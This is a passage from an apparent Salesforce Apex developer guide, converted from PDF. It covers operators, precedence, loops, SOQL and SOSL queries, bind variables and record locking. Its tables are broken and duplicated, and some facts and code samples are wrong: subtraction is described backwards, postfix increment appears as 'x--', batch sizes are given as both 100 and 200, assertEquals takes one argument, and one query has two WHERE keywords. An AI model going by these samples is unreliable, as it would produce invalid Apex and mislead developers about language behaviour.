| || | x || y | **OR logical operator** (Left associative). If $x$, a Boolean, and $y$, a Boolean, are both false, then the expression evaluates to false. Otherwise the expression evaluates to true.  
Note:  
  - && has precedence over ||  
  - This operator exhibits “short-circuiting” behavior, which means $y$ is evaluated only if $x$ is false.  
  - $x$ and $y$ cannot be null. |
| == | x == y | **Equality operator**. If the value of $x$ equals the value of $y$, the expression evaluates to true. Otherwise, the expression evaluates to false.  
Note:  
  - Unlike Java, == in Apex compares object value equality, not reference equality. Consequently:
### Language Constructs Understanding Expression Operators

<table>
<thead>
<tr>
<th>Operator</th>
<th>Syntax</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>==</td>
<td>x == y</td>
<td>String comparison using == is case insensitive. ID comparison using == is case sensitive, and does not distinguish between 15-character and 18-character formats.</td>
</tr>
<tr>
<td></td>
<td></td>
<td>- For sObjects and sObject arrays, == performs a deep check of all sObject field values before returning its result. - For records, every field must have the same value for == to evaluate to true. - x or y can be the literal null. - The comparison of any two values can never result in null. - SOQL and SOSL use = for their equality operator, and not ==. Although Apex and SOQL and SOSL are strongly linked, this unfortunate syntax discrepancy exists because most modern languages use = for assignment and == for equality. The designers of Apex deemed it more valuable to maintain this paradigm than to force developers to learn a new assignment operator. The result is that Apex developers must use == for equality tests in the main script body, and = for equality in SOQL and SOSL queries.</td>
</tr>
<tr>
<td>===</td>
<td>x === y</td>
<td><strong>Exact equality operator.</strong> If x and y reference the exact same location in memory, the expression evaluates to true. Otherwise, the expression evaluates to false. Note that this operator only works for sObjects or collections (such as a Map or list). For an Apex object (such as an Exception or instantiation of a class) the exact equality operator is the same as the equality operator.</td>
</tr>
<tr>
<td>&lt;</td>
<td>x &lt; y</td>
<td><strong>Less than operator.</strong> If x is less than y, the expression evaluates to true. Otherwise, the expression evaluates to false. Note:</td>
</tr>
<tr>
<td></td>
<td></td>
<td>- Unlike other database stored procedures, Apex does not support tri-state Boolean logic, and the comparison of any two values can never result in null. - If x or y equal null and are Integers, Doubles, Dates, or Datetimes, the expression is false. - A non-null String or ID value is always greater than a null value. - If x and y are IDs, they must reference the same type of object. Otherwise, a runtime error results. - If x or y is an ID and the other value is a String, the String value is validated and treated as an ID. - x and y cannot be Booleans. - The comparison of two strings is performed according to the locale of the context user.</td>
</tr>
<tr>
<td>&gt;</td>
<td>x &gt; y</td>
<td><strong>Greater than operator.</strong> If x is greater than y, the expression evaluates to true. Otherwise, the expression evaluates to false. Note:</td>
</tr>
<tr>
<td></td>
<td></td>
<td>- The comparison of any two values can never result in null. - If x or y equal null and are Integers, Doubles, Dates, or Datetimes, the expression is false. - A non-null String or ID value is always greater than a null value.</td>
</tr>
</tbody>
</table>
## Understanding Expression Operators

<table>
<thead>
<tr>
<th>Operator</th>
<th>Syntax</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>&lt;=</td>
<td>x &lt;= y</td>
<td>Less than or equal to operator. If x is less than or equal to y, the expression evaluates to true. Otherwise, the expression evaluates to false.</td>
</tr>
<tr>
<td></td>
<td></td>
<td>Note:</td>
</tr>
<tr>
<td></td>
<td></td>
<td>• The comparison of any two values can never result in null.</td>
</tr>
<tr>
<td></td>
<td></td>
<td>• If x or y equal null and are Integers, Doubles, Dates, or Datetimes, the expression is false.</td>
</tr>
<tr>
<td></td>
<td></td>
<td>• A non-null String or ID value is always greater than a null value.</td>
</tr>
<tr>
<td></td>
<td></td>
<td>• If x and y are IDs, they must reference the same type of object. Otherwise, a runtime error results.</td>
</tr>
<tr>
<td></td>
<td></td>
<td>• If x or y is an ID and the other value is a String, the String value is validated and treated as an ID.</td>
</tr>
<tr>
<td></td>
<td></td>
<td>• x and y cannot be Booleans.</td>
</tr>
<tr>
<td></td>
<td></td>
<td>• The comparison of two strings is performed according to the locale of the context user.</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>&gt;=</td>
<td>x &gt;= y</td>
<td>Greater than or equal to operator. If x is greater than or equal to y, the expression evaluates to true. Otherwise, the expression evaluates to false.</td>
</tr>
<tr>
<td></td>
<td></td>
<td>Note:</td>
</tr>
<tr>
<td></td>
<td></td>
<td>• The comparison of any two values can never result in null.</td>
</tr>
<tr>
<td></td>
<td></td>
<td>• If x or y equal null and are Integers, Doubles, Dates, or Datetimes, the expression is false.</td>
</tr>
<tr>
<td></td>
<td></td>
<td>• A non-null String or ID value is always greater than a null value.</td>
</tr>
<tr>
<td></td>
<td></td>
<td>• If x and y are IDs, they must reference the same type of object. Otherwise, a runtime error results.</td>
</tr>
<tr>
<td></td>
<td></td>
<td>• If x or y is an ID and the other value is a String, the String value is validated and treated as an ID.</td>
</tr>
<tr>
<td></td>
<td></td>
<td>• x and y cannot be Booleans.</td>
</tr>
<tr>
<td></td>
<td></td>
<td>• The comparison of two strings is performed according to the locale of the context user.</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>!=</td>
<td>x != y</td>
<td>Inequality operator. If the value of x does not equal the value of y, the expression evaluates to true. Otherwise, the expression evaluates to false.</td>
</tr>
<tr>
<td></td>
<td></td>
<td>Note:</td>
</tr>
<tr>
<td></td>
<td></td>
<td>• Unlike Java, != in Apex compares object value equality, not reference equality.</td>
</tr>
<tr>
<td></td>
<td></td>
<td>• For sObjects and sObject arrays, != performs a deep check of all sObject field values before returning its result.</td>
</tr>
<tr>
<td>Operator</td>
<td>Syntax</td>
<td>Description</td>
</tr>
<tr>
<td>----------</td>
<td>------------</td>
<td>---------------------------------------------------------------------------------------------------------------------------------------------</td>
</tr>
<tr>
<td>!=</td>
<td>x != y</td>
<td>For records, != evaluates to true if the records have different values for any field. x or y can be the literal null. The comparison of any two values can never result in null.</td>
</tr>
<tr>
<td>!==</td>
<td>x !== y</td>
<td><strong>Exact inequality operator.</strong> If x and y do not reference the exact same location in memory, the expression evaluates to true. Otherwise, the expression evaluates to false. Note that this operator only works for sObjects, collections (such as a Map or list), or an Apex object (such as an Exception or instantiation of a class).</td>
</tr>
</tbody>
</table>
| +        | x + y      | **Addition operator.** Adds the value of x to the value of y according to the following rules:  
|          |            | • If x and y are Integers or Doubles, adds the value of x to the value of y. If a Double is used, the result is a Double.  
|          |            | • If x is a Date and y is an Integer, returns a new Date that is incremented by the specified number of days.  
|          |            | • If x is a Datetime and y is an Integer or Double, returns a new Date that is incremented by the specified number of days, with the fractional portion corresponding to a portion of a day.  
|          |            | • If x is a String and y is a String or any other type of non-null argument, concatenates y to the end of x. |
| -        | x - y      | **Subtraction operator.** Subtracts the value of y from the value of x according to the following rules:  
|          |            | • If x and y are Integers or Doubles, subtracts the value of x from the value of y. If a Double is used, the result is a Double.  
|          |            | • If x is a Date and y is an Integer, returns a new Date that is decremented by the specified number of days.  
|          |            | • If x is a Datetime and y is an Integer or Double, returns a new Date that is decremented by the specified number of days, with the fractional portion corresponding to a portion of a day. |
| *        | x * y      | **Multiplication operator.** Multiplies x, an Integer or Double, with y, another Integer or Double. Note that if a double is used, the result is a Double. |
| /        | x / y      | **Division operator.** Divides x, an Integer or Double, by y, another Integer or Double. Note that if a double is used, the result is a Double. |
| !        | !x         | **Logical complement operator.** Inverts the value of a Boolean, so that true becomes false, and false becomes true. |
| -        | -x         | **Unary negation operator.** Multiplies the value of x, an Integer or Double, by -1. Note that the positive equivalent + is also syntactically valid, but does not have a mathematical effect. |
| ++       | x++        | **Increment operator.** Adds 1 to the value of x, an Integer or Double. If prefixed (++x), the increment occurs before the rest of the statement is executed. If postfix (x--), the increment occurs after the rest of the statement is executed. |
### Understanding Operator Precedence

Apex uses the following operator precedence rules:

<table>
<thead>
<tr>
<th>Precedence</th>
<th>Operators</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>1</td>
<td>( ) ( ) ++ --</td>
<td>Grouping and prefix increments and decrements</td>
</tr>
<tr>
<td>2</td>
<td>! -x +x (type) new</td>
<td>Unary negation, type cast and object creation</td>
</tr>
<tr>
<td>3</td>
<td>* /</td>
<td>Multiplication and division</td>
</tr>
<tr>
<td>4</td>
<td>+ -</td>
<td>Addition and subtraction</td>
</tr>
<tr>
<td>5</td>
<td>&lt; &lt;= &gt; &gt;= instanceof</td>
<td>Greater-than and less-than comparisons, reference tests</td>
</tr>
<tr>
<td>6</td>
<td>== !=</td>
<td>Comparisons: equal and not-equal</td>
</tr>
<tr>
<td>7</td>
<td>&amp; &amp;</td>
<td>Logical AND</td>
</tr>
<tr>
<td>8</td>
<td></td>
<td></td>
</tr>
</tbody>
</table>
Extending sObject and List Expressions

As in Java, sObject and list expressions can be extended with method references and list expressions, respectively, to form new expressions.

In the following example, a new variable containing the length of the new account name is assigned to `acctNameLength`.

```java
Integer acctNameLength = new Account[] {new Account(name='Acme')}[0].name.length();
```

In the above, `new Account[]` generates a list. The list is populated by the SOQL statement `{new Account(name='Acme')}`. Item 0, the first item in the list, is then accessed by the next part of the string `[0]`. The name of the sObject in the list is accessed, followed by the method returning the length `name.length()`.

In the following example, a name that has been shifted to lower case is returned.

```java
String nameChange = [SELECT Name FROM Account][0].Name.toLowerCase();
```

Using Comments

Both single and multiline comments are supported in Apex scripts:

- To create a single line comment, use `//`. All characters on the same line to the right of the `//` are ignored by the parser. For example:

  ```java
  Integer i = 1; // This comment is ignored by the parser
  ```

- To create a multiline comment, use `/*` and `*/` to demarcate the beginning and end of the comment block. For example:

  ```java
  Integer i = 1; /* This comment can wrap over multiple
  lines without getting interpreted by the parser. */
  ```

Assignment Statements

An assignment statement is any statement that places a value into a variable, generally in one of the following two forms:

```java
[LValue] = [new_value_expression];
[LValue] = [[inline_soql_query]];
```

In the forms above, `LValue` stands for any expression that can be placed on the left side of an assignment operator. These include:

<table>
<thead>
<tr>
<th>Precedence</th>
<th>Operators</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>9</td>
<td>= += -= *= /= &amp;=</td>
<td>Assignment operators</td>
</tr>
</tbody>
</table>
A simple variable. For example:

```java
Integer i = 1;
Account a = new Account();
Account[] accts = [select id from account];
```

A de-referenced list element. For example:

```java
ints[0] = 1;
accts[0].name = 'Acme';
```

An sObject field reference that the context user has permission to edit. For example:

```java
Account a = new Account(name = 'Acme', billingcity = 'San Francisco');
// IDs cannot be set manually
// a.id = '00300000003T2PGAA0'; This code is invalid!
// Instead, insert the record. The system automatically assigns it an ID.
insert a;

// Fields also must be writeable for the context user
// a.createdDate = System.today(); This code is invalid because
// createdDate is read-only!

// Since the account a has been inserted, it is now possible to
// create a new contact that is related to it
Contact c = new Contact(lastname = 'Roth', account = a);

// Notice that you can write to the account name directly through the contact
// c.account.name = 'salesforce.com';
```

Assignment is always done by reference. For example:

```java
Account a = new Account();
Account b;
Account[] c = new Account[]{};
a.name = 'Acme';
b = a;
c.add(a);

// These asserts should now be true. You can reference the data
// originally allocated to account a through account b and account list c.
System.assertEquals(b.name, 'Acme');
System.assertEquals(c[0].name, 'Acme');
```

Similarly, two lists can point at the same value in memory. For example:

```java
Account[] a = new Account[] { new Account() };
Account[] b = a;
a[0].name = 'Acme';
System.assertEquals(b[0].name == 'Acme');
```

In addition to =, other valid assignment operators include +=, *=, /=, |=, &=, +=, and --. See Understanding Expression Operators on page 44 for more information.
Conditional (If-Else) Statements

The conditional statement in Apex works similarly to Java:

```java
if ([Boolean_condition])
   // Statement 1
else
   // Statement 2
```

The `else` portion is always optional, and always groups with the closest `if`. For example:

```java
Integer x, sign;
// Your code
if (x <= 0) if (x == 0) sign = 0; else sign = -1;
```

is equivalent to:

```java
Integer x, sign;
// Your code
if (x <= 0) {
   if (x == 0) {
      sign = 0;
   } else {
      sign = -1;
   }
}
```

Repeated `else if` statements are also allowed. For example:

```java
if (place == 1) {
   medal_color = 'gold';
} else if (place == 2) {
   medal_color = 'silver';
} else if (place == 3) {
   medal_color = 'bronze';
} else {
   medal_color = null;
}
```

Loops

Apex supports the following five types of procedural loops:

- `do {statement} while (Boolean_condition);`
- `while (Boolean_condition) statement;`
- `for (initialization; Boolean_exit_condition; increment) statement;`
- `for (variable : array_or_set) statement;`
- `for (variable : [inline_soql_query]) statement;`

All loops allow for loop control structures:

- `break;` exits the entire loop
- `continue;` skips to the next iteration of the loop
Do-While Loops

The Apex do-while loop repeatedly executes a block of code as long as a particular Boolean condition remains true. Its syntax is:

```apex
do {
    code_block
} while (condition);
```

**Note:** Curly braces ({})) are always required around a code_block.

As in Java, the Apex do-while loop does not check the Boolean condition statement until after the first loop is executed. Consequently, the code block always runs at least once.

As an example, the following code outputs the numbers 1 - 10 into the debug log:

```apex
Integer count = 1;
do {
    System.debug(count);
    count++;
} while (count < 11);
```

While Loops

The Apex while loop repeatedly executes a block of code as long as a particular Boolean condition remains true. Its syntax is:

```apex
while (condition) {
    code_block
}
```

**Note:** Curly braces ({})) are required around a code_block only if the block contains more than one statement.

Unlike do-while, the while loop checks the Boolean condition statement before the first loop is executed. Consequently, it is possible for the code block to never execute.

As an example, the following code outputs the numbers 1 - 10 into the debug log:

```apex
Integer count = 1;
while (count < 11) {
    System.debug(count);
    count++;
}
```

For Loops

Apex supports three variations of the for loop:
- The traditional for loop:

```apex
for (init_stmt; exit_condition; increment_stmt) {
    code_block
}
```

- The list or set iteration for loop:

```apex
for (variable : list_or_set) {
    code_block
}
```

where `variable` must be of the same primitive or sObject type as `list_or_set`.

- The SOQL for loop:

```apex
for (variable : [soql_query]) {
    code_block
}
```

or

```apex
for (variable_list : [soql_query]) {
    code_block
}
```

Both `variable` and `variable_list` must be of the same sObject type as is returned by the `soql_query`.

**Note:** Curly braces (`{}`). are required around a `code_block` only if the block contains more than one statement.

Each is discussed further in the sections that follow.

### Traditional For Loops

The traditional for loop in Apex corresponds to the traditional syntax used in Java and other languages. Its syntax is:

```apex
for (init_stmt; exit_condition; increment_stmt) {
    code_block
}
```

When executing this type of for loop, the Apex runtime engine performs the following steps, in order:

1. Execute the `init_stmt` component of the loop. Note that multiple variables can be declared and/or initialized in this statement.
2. Perform the `exit_condition` check. If true, the loop continues. If false, the loop exits.
3. Execute the `code_block`.
4. Execute the `increment_stmt` statement.
5. Return to Step 2.

As an example, the following code outputs the numbers 1 - 10 into the debug log. Note that an additional initialization variable, `j`, is included to demonstrate the syntax:

```apex
for (Integer i = 0, j = 0; i < 10; i++) {
    System.debug(i+1);
}
```
List or Set Iteration For Loops

The list or set iteration for loop iterates over all the elements in a list or set. Its syntax is:

```apex
for (variable : list_or_set) {
    code_block
}
```

where variable must be of the same primitive or sObject type as list_or_set.

When executing this type of for loop, the Apex runtime engine assigns variable to each element in list_or_set, and runs the code_block for each value.

For example, the following code outputs the numbers 1 - 10 to the debug log:

```apex
Integer[] myInts = new Integer[]{1, 2, 3, 4, 5, 6, 7, 8, 9, 10};
for (Integer i : myInts) {
    System.debug(i);
}
```

SOQL For Loops

SOQL for loops iterate over all of the sObject records returned by a SOQL query. The syntax of a SOQL for loop is either:

```apex
for (variable : [soql_query]) {
    code_block
}
```
or

```apex
for (variable_list : [soql_query]) {
    code_block
}
```

Both variable and variable_list must be of the same type as the sObjects that are returned by the soql_query. As in standard SOQL queries, the [soql_query] statement can refer to script expressions in their WHERE clauses using the syntax. For example:

```apex
String s = 'Acme';
for (Account a : [select id, name from account
    where name like :(s+'%')]) {
    // Your code
}
```

The following example combines creating a list from a SOQL query, with the DML update method.

```apex
// Create a list of account records from a SOQL query
List<Account> accs = [SELECT Id, Name FROM Account WHERE Name = 'Siebel'];

// Loop through the list and update the Name field
for(Account a : accs){
    a.name = 'Oracle';
}

// Update the database
update accs;
```
SOQL For Loops Versus Standard SOQL Queries

SOQL for loops differ from standard SOQL statements because of the method they use to retrieve sObjects. While the standard queries discussed in SOQL and SOSL Queries can retrieve either the count of a query or a number of object records, SOQL for loops retrieve all sObjects, using efficient chunking with calls to the query and queryMore methods of the Web services API. Developers should always use a SOQL for loop to process query results that return many records, to avoid the limit on heap size.

Note that queries including an aggregate function don’t support queryMore. A runtime exception occurs if you use a query containing an aggregate function that returns more than 2000 rows in a for loop.

SOQL For Loop Formats

SOQL for loops can process records one at a time using a single sObject variable, or in batches of 200 sObjects at a time using an sObject list:

- The single sObject format executes the for loop’s <code_block> once per sObject record. Consequently, it is easy to understand and use, but is grossly inefficient if you want to use data manipulation language (DML) statements within the for loop body. Each DML statement ends up processing only one sObject at a time.
- The sObject list format executes the for loop’s <code_block> once per list of 200 sObjects. Consequently, it is a little more difficult to understand and use, but is the optimal choice if you need to use DML statements within the for loop body. Each DML statement can bulk process a list of sObjects at a time.

For example, the following code illustrates the difference between the two types of SOQL query for loops:

```java
// Create a savepoint because the data should not be committed to the database
Savepoint sp = Database.setSavepoint();

insert new account[]
    {new account(name = 'yyy'),
    new account(name = 'yyy'),
    new account(name = 'yyy')};

// The single sObject format executes the for loop once per returned record
Integer i = 0;
for (account tmp : [select id from account where name = 'yyy']) {
    i++;
} System.assert(i == 3); // Since there were three accounts named 'yyy' in the
// database, the loop executed three times

// The sObject list format executes the for loop once per returned batch
// of records
i = 0;
Integer j;
for (account[] tmp : [select id from account where name = 'yyy']) {
    j = tmp.size();
    i++;
} System.assert(j == 3); // The list should have contained the three accounts
// named 'yyy'
System.assert(i == 1); // Since a single batch can hold up to 100 records and,
// only three records should have been returned, the
// loop should have executed only once

// Revert the database to the original state
Database.rollback(sp);
```

Note:

- The break and continue keywords can be used in both types of inline query for loop formats. When using the sObject list format, continue skips to the next list of sObjects.
- DML statements can only process up to 10,000 records at a time, and sObject list for loops process records in batches of 200. Consequently, if you are inserting, updating, or deleting more than one record per returned record
SOQL and SOSL Queries

You can evaluate Salesforce Object Query Language (SOQL) or Salesforce Object Search Language (SOSL) statements on-the-fly in Apex by surrounding the statement in square brackets.

SOQL Statements

SOQL statements evaluate to a list of sObjects, a single sObject, or an Integer for count method queries.

For example, you could retrieve a list of accounts that are named Acme:

```
List<Account> aa = [select id, name from account where name = 'Acme'];
```

From this list, you can access individual elements:

```
if (!aa.isEmpty()) {
    // Execute commands
}
```

You can also create new objects from SOQL queries on existing ones. The following example creates a new contact for the first account with the number of employees greater than 10:

```
Contact c = new Contact(account = [select name from account
where NumberofEmployees > 10 limit 1]);
c.FirstName = 'James';
c.LastName = 'Yoyce';
```

Note that the newly created object contains null values for its fields, which will need to be set.

The count method can be used to return the number of rows returned by a query. The following example returns the total number of contacts with the last name of Weissman:

```
Integer i = [select count() from contact where lastname = 'Weissman'];
```

You can also operate on the results using standard arithmetic:

```
Integer j = 5 * [select count() from account];
```

For a full description of SOQL query syntax, see Salesforce Object Query Language (SOQL) in the Web Services API Developer's Guide.

SOSL Statements

SOSL statements evaluate to a list of lists of sObjects, where each list contains the search results for a particular sObject type. The result lists are always returned in the same order as they were specified in the SOSL query. SOSL queries are only supported in Apex classes and anonymous blocks. You cannot use a SOSL query in a trigger. If a SOSL query does not return any records for a specified sObject type, the search results include an empty list for that sObject.
For example, you can return a list of accounts, contacts, opportunities, and leads that begin with the phrase map:

```java
List<List<SObject>> searchList = [FIND 'map*' IN ALL FIELDS RETURNING Account (id, name), Contact, Opportunity, Lead];
```

**Note:**

The syntax of the `FIND` clause in Apex differs from the syntax of the `FIND` clause in the Web services API:
- In Apex, the value of the `FIND` clause is demarcated with single quotes. For example:

  ```java
  FIND 'map*' IN ALL FIELDS RETURNING Account (id, name), Contact, Opportunity, Lead
  ```

- In the Force.com API, the value of the `FIND` clause is demarcated with braces. For example:

  ```java
  FIND {map*} IN ALL FIELDS RETURNING Account (id, name), Contact, Opportunity, Lead
  ```

From `searchList`, you can create arrays for each object returned:

```java
Account [] accounts = ((List<Account>)searchList[0]);
Contact [] contacts = ((List<Contact>)searchList[1]);
Opportunity [] opportunities = ((List<Opportunity>)searchList[2]);
Lead [] leads = ((List<Lead>)searchList[3]);
```

For a full description of SOSL query syntax, see Salesforce Object Search Language (SOSL) in the Web Services API Developer's Guide.

### Working with SOQL and SOSL Query Results

SOQL and SOSL queries only return data for sObject fields that are selected in the original query. If you try to access a field that was not selected in the SOQL or SOSL query (other than ID), you receive a runtime error, even if the field contains a value in the database. The following code example causes a runtime error:

```java
insert new Account(name = 'Singha');
Account acc = [select id from account where name = 'Singha' limit 1];
// Note that name is not selected
String name = [select id from account where name = 'Singha' limit 1].name;
```

The following is the same code example rewritten so it does not produce a runtime error. Note that `name` has been added as part of the select statement, after `id`.

```java
insert new Account(name = 'Singha');
Account acc = [select id from account where name = 'Singha' limit 1];
// Note that name is now selected
String name = [select id, name from account where name = 'Singha' limit 1].name;
```

Even if only one sObject field is selected, a SOQL or SOSL query always returns data as complete records. Consequently, you must dereference the field in order to access it. For example, this code retrieves an sObject list from the database with a SOQL query, accesses the first account record in the list, and then dereferences the record's `annualRevenue` field:

```java
Double rev = [select annualRevenue from account
  where name = 'Acme'][0].annualRevenue;
// When only one result is returned in a SOQL query, it is not necessary
```
The only situation in which it is not necessary to dereference an sObject field in the result of an SOQL query, is when the query returns an Integer as the result of a count operation:

```java
Integer i = [select count() from account];
```

Fields in records returned by SOSL queries must always be dereferenced.

Also note that sObject fields that contain formulas return the value of the field at the time the SOQL or SOSL query was issued. Any changes to other fields that are used within the formula are not reflected in the formula field value until the record has been saved and re-queried in Apex. Like other read-only sObject fields, the values of the formula fields themselves cannot be changed in Apex.

### Working with SOQL Aggregate Functions

Aggregate functions in SOQL, such as `SUM()` and `MAX()`, allow you to roll up and summarize your data in a query. For more information on aggregate functions, see “Aggregate Functions” in the [Web Services API Developer’s Guide](#).

You can use aggregate functions without using a `GROUP BY` clause. For example, you could use the `AVG()` aggregate function to find the average `Amount` for all your opportunities.

```java
AggregateResult[] groupedResults = [SELECT AVG(Amount)aver FROM Opportunity];
Object avgAmount = groupedResults[0].get('aver');
```

Note that any query that includes an aggregate function returns its results in an array of `AggregateResult` objects. `AggregateResult` is a read-only sObject and is only used for query results.

Aggregates functions become a more powerful tool to generate reports when you use them with a `GROUP BY` clause. For example, you could find the average `Amount` for all your opportunities by campaign.

```java
AggregateResult[] groupedResults = [SELECT CampaignId, AVG(Amount) FROM Opportunity GROUP BY CampaignId];
for (AggregateResult ar : groupedResults) {
    System.debug('Campaign ID' + ar.get('CampaignId'));
    System.debug('Average amount' + ar.get('expr0'));
}
```

Any aggregated field in a `SELECT` list that does not have an alias automatically gets an implied alias with a format `expr_i`, where `i` denotes the order of the aggregated fields with no explicit alias. The value of `i` starts at 0 and increments for every aggregated field with no explicit alias. For more information, see “Using Aliases with GROUP BY” in the [Web Services API Developer’s Guide](#).

**Note:** Queries that include aggregate functions are subject to the same governor limits as other SOQL queries for the total number of records returned. This limit includes any records included in the aggregation, not just the number of rows returned by the query. If you encounter this limit, you should add a condition to the `WHERE` clause to reduce the amount of records processed by the query.
Working with Very Large SOQL Queries

Your SOQL query may return so many sObjects that the limit on heap size is exceeded and an error occurs. To resolve, use a SOQL query for loop instead, since it can process multiple batches of records through the use of internal calls to query and queryMore.

For example, if the results are too large, the syntax below causes a runtime exception:

```java
Account[] accts = [SELECT id FROM account];
```

Instead, use a SOQL query for loop as in one of the following examples:

```java
// Use this format if you are not executing DML statements
// within the for loop
for (Account a : [SELECT id, name FROM account
  WHERE name LIKE 'Acme']) {
  // Your code without DML statements here
}

// Use this format for efficiency if you are executing DML statements
// within the for loop
for (List<Account> accts : [SELECT id, name FROM account
  WHERE name LIKE 'Acme']) {
  // Your code here
  update accts;
}
```

The following example demonstrates a SOQL query for loop used to mass update records. Suppose you want to change the last name of a contact across all records:

```java
public void massUpdate() {
  for (List<Contact> contacts: [Select FirstName, LastName From Contact]) {
    for (Contact c : contacts) {
      if (c.FirstName == 'Barbara' &&
          c.LastName == 'Gordon') {
        c.LastName = 'Wayne';
      }
    }
    update contacts;
  }
}
```

Instead of using a SOQL query in a for loop, the preferred method of mass updating records is to use batch Apex, which minimizes the risk of hitting governor limits.

For more efficient SOQL queries, particularly for queries inside of triggers, use selective (indexed) queries. Selective queries filter on primary keys, foreign keys, names, audit dates (such as LastModifiedDate), or External ID fields. In large organizations, non-selective queries could be stopped at runtime in order to prevent very long running operation times. If you need them for your application, contact your salesforce.com representative.

**Note:** If you use a non-selective query in a trigger against an object that contains more than 100000 records an error is generated. You should include indexed fields in the WHERE clause to avoid these exceptions.

For more information, see SOQL For Loops on page 55.
Using SOQL Queries That Return One Record

SOQL queries can be used to assign a single sObject value when the result list contains only one element. When the L-value of an expression is a single sObject type, Apex automatically assigns the single sObject record in the query result list to the L-value. A runtime exception results if zero sObjects or more than one sObject is found in the list. For example:

```java
List<Account> accts = [SELECT id FROM account];

// These lines of code are only valid if one row is returned from
// the query. Notice that the second line dereferences the field from the
// query without assigning it to an intermediary sObject variable.
Account acct = [SELECT id FROM account];
String name = [SELECT name FROM account].name;
```

Improving Performance by Not Searching on Null Values

In your SOQL and SOSL queries, avoid searching records that contain null values. Filter out null values first to improve performance.

In the following example, any records where the threadID value is null are filtered out of the returned values.

```java
public class TagWS {
    /* getThreadTags */
    /* a quick method to pull tags not in the existing list */
    /* */
    public static webservice List<String> getThreadTags(String threadId, List<String> tags) {
        system.debug(LoggingLevel.Debug, tags);
        List<String> retVals = new List<String>();
        Set<String> tagSet = new Set<String>();
        Set<String> origTagSet = new Set<String>();
        origTagSet.addAll(tags);
        // Note WHERE clause verifies that threadId is not null
        for(CSO_CaseThread_Tag__c t :
            [SELECT Name FROM CSO_CaseThread_Tag__c
             WHERE Thread__c = :threadId AND
             WHERE threadID != null]) {
            tagSet.add(t.Name);
        }
        for(String x : origTagSet) {
            // return a minus version of it so the UI knows to clear it
            if(!tagSet.contains(x)) retVals.add('-' + x);
        }
        for(String x : tagSet) {
            // return a plus version so the UI knows it's new
            if(!origTagSet.contains(x)) retVals.add('+ ' + x);
        }
        return retVals;
    }
}
Understanding Foreign Key and Parent-Child Relationship SOQL Queries

The `SELECT` statement of a SOQL query can be any valid SOQL statement, including foreign key and parent-child record joins. If foreign key joins are included, the resulting sObjects can be referenced using normal field notation. For example:

```
System.debug([SELECT account.name FROM contact
                WHERE firstname = 'Caroline'].account.name);
```

Additionally, parent-child relationships in sObjects act as SOQL queries as well. For example:

```plaintext
for (Account a : [SELECT id, name, (SELECT lastname FROM contacts)
                 FROM account
                 WHERE name = 'Acme']) {
    Contact[] cons = a.contacts;
}
```

//The following example also works because we limit to only 1 contact
for (Account a : [SELECT id, name, (SELECT lastname FROM contacts limit 1)
                 FROM account
                 WHERE name = 'testAgg']) {
    Contact c = a.contacts;
}

Using Apex Variables in SOQL and SOSL Queries

SOQL and SOSL statements in Apex can reference Apex code variables and expressions if they are preceded by a colon (:). This use of a local code variable within a SOQL or SOSL statement is called a bind. The Apex parser first evaluates the local variable in code context before executing the SOQL or SOSL statement. Bind expressions can be used as:

- The search string in `FIND` clauses
- The filter literals in `WHERE` clauses
- The numeric value in `LIMIT` clauses
- The value of the `IN` or `NOT IN` operator in `WHERE` clauses, allowing filtering on a dynamic set of values. Note that this is of particular use with a list of IDs or Strings, though it works with lists of any type.
- The division names in `WITH DIVISION` clauses

Bind expressions can’t be used with other clauses, such as `INCLUDES`.

For example:

```plaintext
Account A = new Account(name='xxx');
insert A;
Account B;

// A simple bind
B = [select id from account where id = :A.id];

// A bind with arithmetic
B = [select id from account
     where name = :('x' + 'xx')];

String s = 'XXX';

// A bind with expressions
B = [select id from account
     where name = :'XXXX'.substring(0,3)];

// A bind with an expression that is itself a query result
B = [select id from account
     where name = :B];
```
where name = :[select name from account
    where id = :A.id].name];

Contact C = new Contact(lastName='xxx', accountid=A.id);
insert new Contact[]{C, new Contact(lastName='yyy',
    accountId=A.id)};

// Binds in both the parent and aggregate queries
B = [select id, (select id from contacts
    where id = :C.id)
from account
    where id = :A.id];

// One contact returned
Contact D = B.contacts;

// A limit bind
Integer i = 1;
B = [select id from account limit :i];

// An IN-bind with an Id list. Note that a list of sObjects
// can also be used--the Ids of the objects are used for
// the bind
Contact[] cc = [select id from contact limit 2];
Task[] tt = [select id from task where whoId in :cc];

// An IN-bind with a String list
String[] ss = new String[]{'a', 'b'};
Account[] aa = [select id from account
    where accountnumber in :ss];

// A SOSL query with binds in all possible clauses
String myString1 = 'aaa';
String myString2 = 'bbb';
Integer myInt3 = 11;
String myString4 = 'ccc';
Integer myInt5 = 22;

List<List<SObject>> searchList = [FIND :myString1 IN ALL FIELDS
    RETURNING
        Account (id, name WHERE name LIKE :myString2
            LIMIT :myInt3),
        Contact,
        Opportunity,
        Lead
    WITH DIVISION =:myString4
    LIMIT :myInt5];

Querying All Records with a SOQL Statement

SOQL statements can use the ALL ROWS keywords to query all records in an organization, including deleted records and archived activities. For example:

System.assertEquals(2, [SELECT count() FROM contact WHERE accountid = a.id ALL ROWS]);

You can use ALL ROWS to query records in your organization's Recycle Bin. You cannot use the ALL ROWS keywords with the FOR UPDATE keywords.
Locking Statements

Apex allows developers to lock sObject records while they are being updated in order to prevent race conditions and other thread safety problems. While an sObject record is locked, no other program or user is allowed to make updates.

To lock a set of sObject records in Apex, embed the keywords `FOR UPDATE` after any inline SOQL statement. For example, the following statement, in addition to querying for two accounts, also locks the accounts that are returned:

```java
Account [] accts = [select id from Account limit 2 for update];
```

**Note:** You cannot use the `ORDER BY` keywords in any SOQL query that uses locking. However, query results are automatically ordered by ID.

While the accounts are locked by this call, data manipulation language (DML) statements can modify their field values in the database in the transaction.

**Caution:** Use care when setting locks in your Apex scripts. See Avoiding Deadlocks, below.

Locking in a SOQL For Loop

The `FOR UPDATE` keywords can also be used within SOQL for loops. For example:

```java
for (Account[] accts : [select id from Account for update]) {
    // Your code
}
```

As discussed in SOQL For Loops on page 55, the example above corresponds internally to calls to the `query()` and `queryMore()` methods in the Web services API.

